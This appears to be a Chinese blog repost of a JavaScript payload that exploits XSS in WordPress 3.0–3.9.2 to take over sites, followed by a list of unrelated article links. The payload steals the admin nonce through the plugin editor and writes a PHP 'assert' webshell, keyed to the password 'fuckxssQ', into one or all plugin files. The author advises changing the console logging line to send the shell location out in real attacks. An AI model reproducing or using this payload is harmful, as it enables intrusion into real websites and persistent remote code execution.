当前位置: 首页 > news >正文

wordpress 3.0-3.9.2 XSS Getshell Payload(可Getshell当前模板也可以是全部插件模板)

0x_Jin


如果实战用记得把 console.lnfo 那一行该为发送喔。。。

密码:fuckxssQ
这个getshell js 有getshell当前模板跟getshell全部模板的功能
默认是getshell当前模板   StartGetshell = 0

如果要getshell全部插件模板 把 StartGetshell的值改为1 即可

/*
0x_Jin WordPress Getshell
*/
var a = location.href.split('/');
var file = "";
var xurl = location.href.replace(a[a.length-1],"plugin-editor.php");
var file2 = [];
var StartGetshell = 0;
var shellcode = '<?php\n$k="ass"."ert"; $k(${"_PO"."ST"} ["fuckxssQ"]);';
jQuery.ajax({
  url: xurl,
  type: 'GET',
  dataType: 'html',
  data: {},
})
.done(function(data) {
  var temp = jQuery(data);
  var Xtoken = "";
  var Tmpcode = "";
  temp.find('input#_wpnonce').each(function(i,o){
    var o=jQuery(o);
    Xtoken=o.attr('value');
  });
  temp.find('textarea#newcontent').each(function(i,o){
    var o=jQuery(o);
    Tmpcode = o.text().replace('<?php',shellcode);    
  })
  temp.find('div.alignleft big strong').each(function(i,o){
    var o=jQuery(o);
    file = o.text();
  })
  temp.find('select#plugin option').each(function(i,o){
    var o=jQuery(o);
    file2.push(o.attr('value'));
  })
  if(Xtoken&&Tmpcode&&file){
    jQuery.ajax({
    url: xurl,
    type: 'POST',
    data: {'_wpnonce':Xtoken,'newcontent':Tmpcode,'action':'update','file':file,'plugin':file,'submit':'Update+File'}
    })
    .done(function(){
      var temp = location.href.substring(location.href.indexOf('wp-admin'),location.href.length);
      console.info('Webshell:'+location.href.replace(temp,"wp-content/plugins/"+file));
      return;
    })  
  }
  if(StartGetshell){
    for(var i=0;i<file2.length;i++){
      var filename = file2[i];
      if(file2[i]!=file){
        jQuery.ajax({
          url: xurl,
          type: 'POST',
          data: {'plugin': file2[i],'Submit':'Select'},
        })
        .done(function(data) {
          var NewCode = "";
          var NewToken= "";
          var Getshell=jQuery(data);
          Getshell.find("textarea#newcontent").each(function(i,o){
            var o=jQuery(o);
            NewCode = o.text().replace('<?php',shellcode);    
          })
          Getshell.find("input#_wpnonce").each(function(i,o){
            var o=jQuery(o);
            NewToken = o.attr('value');
          })
          if(NewCode&&NewToken){
            console.log("1"+filename);
            jQuery.ajax({
            url: xurl,
            type: 'POST',
            data: {'_wpnonce':NewToken,'newcontent':NewCode,'action':'update','file':filename,'plugin':filename,'submit':'Update+File'}
            })
            .done(function(){
              var temp = location.href.substring(location.href.indexOf('wp-admin'),location.href.length);
              console.info('Webshell:'+location.href.replace(temp,"wp-content/plugins/"+filename));
              return;
            })  
          }
        })      
      }
    }
  }
})
.fail(function() {
  console.log("error");
})
.always(function() {
  return;
});


效果图:
8359A595-8381-45C9-B2A7-EE3E58411DB4.jpg
4D56EF04-B305-412C-8431-688A3C8A4F26.jpg

相关文章:

  • firefox ios
  • DWR安全问题
  • 关于jav rmi介绍与安全
  • 入侵【提权】读取各种配置文件
  • 计算机网络安全指标详述
  • ios 8 从越狱恢复至纯净系统
  • linux日志以及查看登录信息
  • linux下查找某个目录下包含某个字符串的文件
  • 【Python】python学习之路(针对没有任何编程经验者或懂一点shell者)
  • web开发必备-网络基础知识---记录一下
  • python 中BeautifulSoup入门
  • Python 标准库 urllib2 的使用细节
  • Python BeautifulSoup 简单笔记
  • 痘痘,多少事你不知道自己不知道?
  • nginx配置免费的ssl证书,支持https安全访问
  • 【mysql】环境安装、服务启动、密码设置
  • Apache的基本使用
  • GitUp, 你不可错过的秀外慧中的git工具
  • gulp 教程
  • HashMap ConcurrentHashMap
  • Javascript Math对象和Date对象常用方法详解
  • java中的hashCode
  • Linux下的乱码问题
  • Mysql数据库的条件查询语句
  • Nodejs和JavaWeb协助开发
  • PAT A1092
  • Promise初体验
  • Selenium实战教程系列(二)---元素定位
  • Vue 重置组件到初始状态
  • WebSocket使用
  • WePY 在小程序性能调优上做出的探究
  • WordPress 获取当前文章下的所有附件/获取指定ID文章的附件(图片、文件、视频)...
  • 关于Flux,Vuex,Redux的思考
  • 排序算法学习笔记
  • 前端技术周刊 2019-02-11 Serverless
  • 小程序、APP Store 需要的 SSL 证书是个什么东西?
  • 一道闭包题引发的思考
  • 用Visual Studio开发以太坊智能合约
  • Redis4.x新特性 -- 萌萌的MEMORY DOCTOR
  • 我们雇佣了一只大猴子...
  • ​决定德拉瓦州地区版图的关键历史事件
  • #!/usr/bin/python与#!/usr/bin/env python的区别
  • ###51单片机学习(2)-----如何通过C语言运用延时函数设计LED流水灯
  • #[Composer学习笔记]Part1:安装composer并通过composer创建一个项目
  • (搬运以学习)flask 上下文的实现
  • (十三)Maven插件解析运行机制
  • (转)ObjectiveC 深浅拷贝学习
  • (转)Unity3DUnity3D在android下调试
  • (转)创业的注意事项
  • .bat批处理(六):替换字符串中匹配的子串
  • .NET / MSBuild 扩展编译时什么时候用 BeforeTargets / AfterTargets 什么时候用 DependsOnTargets?
  • .NET 3.0 Framework已经被添加到WindowUpdate
  • .NET Core 2.1路线图
  • :如何用SQL脚本保存存储过程返回的结果集
  • @ComponentScan比较